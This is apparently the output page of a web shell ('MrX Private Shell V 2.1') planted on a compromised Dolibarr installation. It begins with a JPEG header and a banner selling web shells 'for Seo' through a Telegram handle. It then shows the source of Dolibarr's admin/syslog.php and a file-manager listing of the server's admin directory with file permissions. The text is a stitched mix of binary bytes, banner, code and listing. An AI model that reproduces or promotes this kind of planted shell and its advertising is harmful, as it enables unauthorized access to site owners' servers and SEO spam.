����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/* Copyright (C) 2005-2012 Laurent Destailleur <eldy@users.sourceforge.net>
* Copyright (C) 2005-2009 Regis Houssin <regis.houssin@inodbox.com>
* Copyright (C) 2007 Rodolphe Quiedeville <rodolphe@quiedeville.org>
* Copyright (C) 2013 Juanjo Menent <jmenent@2byte.es>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
* \file htdocs/admin/syslog.php
* \ingroup syslog
* \brief Setup page for logs module
*/
require '../main.inc.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php';
global $conf;
if (!$user->admin) accessforbidden();
// Load translation files required by the page
$langs->loadLangs(array("admin","other"));
$error=0;
$action = GETPOST('action', 'aZ09');
$syslogModules = array();
$activeModules = array();
if (! empty($conf->global->SYSLOG_HANDLERS)) $activeModules = json_decode($conf->global->SYSLOG_HANDLERS);
$dirsyslogs = array_merge(array('/core/modules/syslog/'), $conf->modules_parts['syslog']);
foreach ($dirsyslogs as $reldir) {
$dir = dol_buildpath($reldir, 0);
$newdir = dol_osencode($dir);
if (is_dir($newdir)) {
$handle = opendir($newdir);
if (is_resource($handle)) {
while (($file = readdir($handle)) !== false) {
if (substr($file, 0, 11) == 'mod_syslog_' && substr($file, dol_strlen($file) - 3, 3) == 'php') {
$file = substr($file, 0, dol_strlen($file) - 4);
require_once $newdir . $file . '.php';
$module = new $file;
// Show modules according to features level
if ($module->getVersion() == 'development' && $conf->global->MAIN_FEATURES_LEVEL < 2) {
continue;
}
if ($module->getVersion() == 'experimental' && $conf->global->MAIN_FEATURES_LEVEL < 1) {
continue;
}
$syslogModules[] = $file;
}
}
closedir($handle);
}
}
}
/*
* Actions
*/
// Set modes
if ($action == 'set')
{
$db->begin();
$newActiveModules = array();
$selectedModules = (isset($_POST['SYSLOG_HANDLERS']) ? $_POST['SYSLOG_HANDLERS'] : array());
// Save options of handler
foreach ($syslogModules as $syslogHandler)
{
if (in_array($syslogHandler, $syslogModules))
{
$module = new $syslogHandler;
if (in_array($syslogHandler, $selectedModules)) $newActiveModules[] = $syslogHandler;
foreach ($module->configure() as $option)
{
if (isset($_POST[$option['constant']]))
{
$_POST[$option['constant']] = trim($_POST[$option['constant']]);
dolibarr_del_const($db, $option['constant'], -1);
dolibarr_set_const($db, $option['constant'], $_POST[$option['constant']], 'chaine', 0, '', 0);
}
}
}
}
$activeModules = $newActiveModules;
dolibarr_del_const($db, 'SYSLOG_HANDLERS', -1); // To be sure ther is not a setup into another entity
dolibarr_set_const($db, 'SYSLOG_HANDLERS', json_encode($activeModules), 'chaine', 0, '', 0);
// Check configuration
foreach ($activeModules as $modulename) {
/**
* @var LogHandler
*/
$module = new $modulename;
$error = $module->checkConfiguration();
}
if (! $error)
{
$db->commit();
setEventMessages($langs->trans("SetupSaved"), null, 'mesgs');
}
else
{
$db->rollback();
setEventMessages($error, $errors, 'errors');
}
}
// Set level
if ($action == 'setlevel')
{
$level = GETPOST("level");
$res = dolibarr_set_const($db, "SYSLOG_LEVEL", $level, 'chaine', 0, '', 0);
dol_syslog("admin/syslog: level ".$level);
if (! $res > 0) $error++;
if (! $error)
{
$file_saves = GETPOST("file_saves");
$res = dolibarr_set_const($db, "SYSLOG_FILE_SAVES", $file_saves, 'chaine', 0, '', 0);
dol_syslog("admin/syslog: file saves ".$file_saves);
if (! $res > 0) $error++;
}
if (! $error)
{
setEventMessages($langs->trans("SetupSaved"), null, 'mesgs');
}
else
{
setEventMessages($langs->trans("Error"), null, 'errors');
}
}
/*
* View
*/
llxHeader();
$form=new Form($db);
$linkback='<a href="'.DOL_URL_ROOT.'/admin/modules.php?restore_lastsearch_values=1">'.$langs->trans("BackToModuleList").'</a>';
print load_fiche_titre($langs->trans("SyslogSetup"), $linkback, 'title_setup');
print '<br>';
$def = array();
$syslogfacility=$defaultsyslogfacility=dolibarr_get_const($db, "SYSLOG_FACILITY", 0);
$syslogfile=$defaultsyslogfile=dolibarr_get_const($db, "SYSLOG_FILE", 0);
if (! $defaultsyslogfacility) $defaultsyslogfacility='LOG_USER';
if (! $defaultsyslogfile) $defaultsyslogfile='dolibarr.log';
if ($conf->global->MAIN_MODULE_MULTICOMPANY && $user->entity)
{
print '<div class="error">'.$langs->trans("ContactSuperAdminForChange").'</div>';
$option = 'disabled';
}
//print "conf->global->MAIN_FEATURES_LEVEL = ".$conf->global->MAIN_FEATURES_LEVEL."<br><br>\n";
// Output mode
print load_fiche_titre($langs->trans("SyslogOutput"));
// Mode
print '<form action="'.$_SERVER["PHP_SELF"].'" method="post">';
print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">';
print '<input type="hidden" name="action" value="set">';
print '<table class="noborder" width="100%">';
print '<tr class="liste_titre">';
print '<td>'.$langs->trans("Type").'</td><td>'.$langs->trans("Value").'</td>';
print '<td class="right" colspan="2"><input type="submit" class="button" '.$option.' value="'.$langs->trans("Modify").'"></td>';
print "</tr>\n";
foreach ($syslogModules as $moduleName)
{
$module = new $moduleName;
$moduleactive=(int) $module->isActive();
//print $moduleName." = ".$moduleactive." - ".$module->getName()." ".($moduleactive == -1)."<br>\n";
if (($moduleactive == -1) && empty($conf->global->MAIN_FEATURES_LEVEL)) continue; // Some modules are hidden if not activable and not into debug mode (end user must not see them)
print '<tr class="oddeven">';
print '<td width="140">';
print '<input class="oddeven" type="checkbox" name="SYSLOG_HANDLERS[]" value="'.$moduleName.'" '.(in_array($moduleName, $activeModules) ? 'checked' : '').($moduleactive <= 0 ? 'disabled' : '').'> ';
print $module->getName();
print '</td>';
print '<td class="nowrap">';
$setuparray=$module->configure();
if ($setuparray)
{
foreach ($setuparray as $option)
{
$tmpoption=$option['constant'];
if (! empty($tmpoption))
{
if (isset($_POST[$tmpoption])) $value=$_POST[$tmpoption];
elseif (! empty($conf->global->$tmpoption)) $value = $conf->global->$tmpoption;
}
else $value = (isset($option['default']) ? $option['default'] : '');
print $option['name'].': <input type="text" class="flat" name="'.$option['constant'].'" value="'.$value.'"'.(isset($option['attr']) ? ' '.$option['attr'] : '').'>';
if (! empty($option['example'])) print '<br>'.$langs->trans("Example").': '.$option['example'];
if ($option['constant'] == 'SYSLOG_FILE' && preg_match('/^DOL_DATA_ROOT\/[^\/]*$/', $value))
{
$filelogparam =' (<a href="'.DOL_URL_ROOT.'/document.php?modulepart=logs&file='.basename($value).'">';
$filelogparam.=$langs->trans('Download');
$filelogparam.=$filelog.'</a>)';
print $filelogparam;
}
}
}
print '</td>';
print '<td class="left">';
if ($module->getInfo())
{
print $form->textwithpicto('', $module->getInfo(), 1, 'help');
}
if ($module->getWarning())
{
print $form->textwithpicto('', $module->getWarning(), 1, 'warning');
}
print '</td>';
print "</tr>\n";
}
print "</table>\n";
print "</form>\n";
print '<br>'."\n\n";
print load_fiche_titre($langs->trans("SyslogLevel"));
// Level
print '<form action="'.$_SERVER["PHP_SELF"].'" method="post">';
print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">';
print '<input type="hidden" name="action" value="setlevel">';
print '<table class="noborder" width="100%">';
print '<tr class="liste_titre">';
print '<td>'.$langs->trans("Parameter").'</td><td>'.$langs->trans("Value").'</td>';
print '<td class="right"><input type="submit" class="button" '.$option.' value="'.$langs->trans("Modify").'"></td>';
print "</tr>\n";
print '<tr class="oddeven"><td width="140">'.$langs->trans("SyslogLevel").'</td>';
print '<td colspan="2"><select class="flat" name="level" '.$option.'>';
print '<option value="'.LOG_EMERG.'" '.($conf->global->SYSLOG_LEVEL==LOG_EMERG?'SELECTED':'').'>LOG_EMERG ('.LOG_EMERG.')</option>';
print '<option value="'.LOG_ALERT.'" '.($conf->global->SYSLOG_LEVEL==LOG_ALERT?'SELECTED':'').'>LOG_ALERT ('.LOG_ALERT.')</option>';
print '<option value="'.LOG_CRIT.'" '.($conf->global->SYSLOG_LEVEL==LOG_CRIT?'SELECTED':'').'>LOG_CRIT ('.LOG_CRIT.')</option>';
print '<option value="'.LOG_ERR.'" '.($conf->global->SYSLOG_LEVEL==LOG_ERR?'SELECTED':'').'>LOG_ERR ('.LOG_ERR.')</option>';
print '<option value="'.LOG_WARNING.'" '.($conf->global->SYSLOG_LEVEL==LOG_WARNING?'SELECTED':'').'>LOG_WARNING ('.LOG_WARNING.')</option>';
print '<option value="'.LOG_NOTICE.'" '.($conf->global->SYSLOG_LEVEL==LOG_NOTICE?'SELECTED':'').'>LOG_NOTICE ('.LOG_NOTICE.')</option>';
print '<option value="'.LOG_INFO.'" '.($conf->global->SYSLOG_LEVEL==LOG_INFO?'SELECTED':'').'>LOG_INFO ('.LOG_INFO.')</option>';
print '<option value="'.LOG_DEBUG.'" '.($conf->global->SYSLOG_LEVEL>=LOG_DEBUG?'SELECTED':'').'>LOG_DEBUG ('.LOG_DEBUG.')</option>';
print '</select>';
print '</td></tr>';
if(! empty($conf->loghandlers['mod_syslog_file']) && ! empty($conf->cron->enabled)) {
print '<tr class="oddeven"><td width="140">'.$langs->trans("SyslogFileNumberOfSaves").'</td>';
print '<td colspan="2"><input type="number" name="file_saves" placeholder="14" min="0" step="1" value="'.$conf->global->SYSLOG_FILE_SAVES.'" />';
print ' (<a href="'.dol_buildpath('/cron/list.php', 1).'?search_label=CompressSyslogs&status=-1">'.$langs->trans('ConfigureCleaningCronjobToSetFrequencyOfSaves').'</a>)</td></tr>';
}
print '</table>';
print "</form>\n";
// End of page
llxFooter();
$db->close();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| dolistore | Folder | 0755 |
|
|
| menus | Folder | 0755 |
|
|
| system | Folder | 0755 |
|
|
| tools | Folder | 0755 |
|
|
| accountant.php | File | 12.11 KB | 0644 |
|
| agenda.php | File | 6.9 KB | 0644 |
|
| agenda_extrafields.php | File | 4.05 KB | 0644 |
|
| agenda_extsites.php | File | 8.28 KB | 0644 |
|
| agenda_other.php | File | 13.79 KB | 0644 |
|
| agenda_reminder.php | File | 7.64 KB | 0644 |
|
| agenda_xcal.php | File | 8.51 KB | 0644 |
|
| bank.php | File | 15.28 KB | 0644 |
|
| bank_extrafields.php | File | 3.94 KB | 0644 |
|
| barcode.php | File | 13.3 KB | 0644 |
|
| bom.php | File | 19.14 KB | 0644 |
|
| boxes.php | File | 16.47 KB | 0644 |
|
| chequereceipts.php | File | 9.19 KB | 0644 |
|
| clicktodial.php | File | 4.96 KB | 0644 |
|
| commande.php | File | 22.97 KB | 0644 |
|
| commande_fournisseur_dispatch_extrafields.php | File | 4.2 KB | 0644 |
|
| company.php | File | 50.66 KB | 0644 |
|
| compta.php | File | 5.06 KB | 0644 |
|
| confexped.php | File | 4.44 KB | 0644 |
|
| const.php | File | 8.76 KB | 0644 |
|
| contract.php | File | 16.82 KB | 0644 |
|
| dav.php | File | 5.44 KB | 0644 |
|
| debugbar.php | File | 3.63 KB | 0644 |
|
| defaultvalues.php | File | 15.43 KB | 0644 |
|
| delais.php | File | 14.61 KB | 0644 |
|
| dict.php | File | 98.49 KB | 0644 |
|
| ecm.php | File | 2.96 KB | 0644 |
|
| emailcollector_card.php | File | 26.66 KB | 0644 |
|
| emailcollector_list.php | File | 22.51 KB | 0644 |
|
| events.php | File | 3.34 KB | 0644 |
|
| expedition.php | File | 17.34 KB | 0644 |
|
| expedition_extrafields.php | File | 4.12 KB | 0644 |
|
| expeditiondet_extrafields.php | File | 4.18 KB | 0644 |
|
| expensereport.php | File | 16.41 KB | 0644 |
|
| expensereport_extrafields.php | File | 4.06 KB | 0644 |
|
| expensereport_ik.php | File | 6.15 KB | 0644 |
|
| expensereport_rules.php | File | 11.07 KB | 0644 |
|
| export.php | File | 3.09 KB | 0644 |
|
| external_rss.php | File | 9.84 KB | 0644 |
|
| facture.php | File | 31.87 KB | 0644 |
|
| fckeditor.php | File | 7.85 KB | 0644 |
|
| fichinter.php | File | 21.23 KB | 0644 |
|
| geoipmaxmind.php | File | 4.88 KB | 0644 |
|
| holiday.php | File | 17.15 KB | 0644 |
|
| ihm.php | File | 25.84 KB | 0644 |
|
| index.php | File | 5.01 KB | 0644 |
|
| ldap.php | File | 12.66 KB | 0644 |
|
| ldap_contacts.php | File | 14.99 KB | 0644 |
|
| ldap_groups.php | File | 9.14 KB | 0644 |
|
| ldap_members.php | File | 19.96 KB | 0644 |
|
| ldap_members_types.php | File | 8.77 KB | 0644 |
|
| ldap_users.php | File | 19.88 KB | 0644 |
|
| limits.php | File | 11.75 KB | 0644 |
|
| livraison.php | File | 15.98 KB | 0644 |
|
| livraison_extrafields.php | File | 4.12 KB | 0644 |
|
| livraisondet_extrafields.php | File | 4.19 KB | 0644 |
|
| loan.php | File | 3.23 KB | 0644 |
|
| mailing.php | File | 5.43 KB | 0644 |
|
| mailman.php | File | 7.97 KB | 0644 |
|
| mails.php | File | 37.39 KB | 0644 |
|
| mails_emailing.php | File | 25.29 KB | 0644 |
|
| mails_senderprofile_list.php | File | 19.89 KB | 0644 |
|
| mails_templates.php | File | 45.42 KB | 0644 |
|
| menus.php | File | 9.94 KB | 0644 |
|
| modulehelp.php | File | 18.72 KB | 0644 |
|
| modules.php | File | 47.46 KB | 0644 |
|
| multicurrency.php | File | 12.68 KB | 0644 |
|
| notification.php | File | 10.78 KB | 0644 |
|
| oauth.php | File | 4.75 KB | 0644 |
|
| oauthlogintokens.php | File | 13.62 KB | 0644 |
|
| openinghours.php | File | 7.95 KB | 0644 |
|
| order_extrafields.php | File | 3.99 KB | 0644 |
|
| orderdet_extrafields.php | File | 4.07 KB | 0644 |
|
| payment.php | File | 9.93 KB | 0644 |
|
| pdf.php | File | 22.38 KB | 0644 |
|
| perms.php | File | 6.58 KB | 0644 |
|
| prelevement.php | File | 19.35 KB | 0644 |
|
| propal.php | File | 25.24 KB | 0644 |
|
| proxy.php | File | 6.78 KB | 0644 |
|
| receiptprinter.php | File | 16.75 KB | 0644 |
|
| reception_extrafields.php | File | 4.11 KB | 0644 |
|
| reception_setup.php | File | 16.96 KB | 0644 |
|
| resource.php | File | 4.14 KB | 0644 |
|
| resource_extrafields.php | File | 3.96 KB | 0644 |
|
| salaries.php | File | 3.23 KB | 0644 |
|
| security.php | File | 15.86 KB | 0644 |
|
| security_file.php | File | 6.91 KB | 0644 |
|
| security_other.php | File | 6.11 KB | 0644 |
|
| sms.php | File | 11.31 KB | 0644 |
|
| socialnetworks.php | File | 3.21 KB | 0644 |
|
| spip.php | File | 4.88 KB | 0644 |
|
| stock.php | File | 16.71 KB | 0644 |
|
| supplier_invoice.php | File | 18.5 KB | 0644 |
|
| supplier_order.php | File | 21.15 KB | 0644 |
|
| supplier_payment.php | File | 16.44 KB | 0644 |
|
| supplier_proposal.php | File | 20.35 KB | 0644 |
|
| supplierinvoice_extrafields.php | File | 4.13 KB | 0644 |
|
| supplierinvoicedet_extrafields.php | File | 4.2 KB | 0644 |
|
| supplierorder_extrafields.php | File | 4.05 KB | 0644 |
|
| supplierorderdet_extrafields.php | File | 4.12 KB | 0644 |
|
| syslog.php | File | 10.12 KB | 0644 |
|
| taxes.php | File | 8.8 KB | 0644 |
|
| ticket.php | File | 18.65 KB | 0644 |
|
| ticket_extrafields.php | File | 3.8 KB | 0644 |
|
| ticket_public.php | File | 17.54 KB | 0644 |
|
| translation.php | File | 22.63 KB | 0644 |
|
| triggers.php | File | 2.7 KB | 0644 |
|
| user.php | File | 11.4 KB | 0644 |
|
| usergroup.php | File | 10.14 KB | 0644 |
|
| website.php | File | 23.24 KB | 0644 |
|
| website_options.php | File | 4.65 KB | 0644 |
|
| workflow.php | File | 7.02 KB | 0644 |
|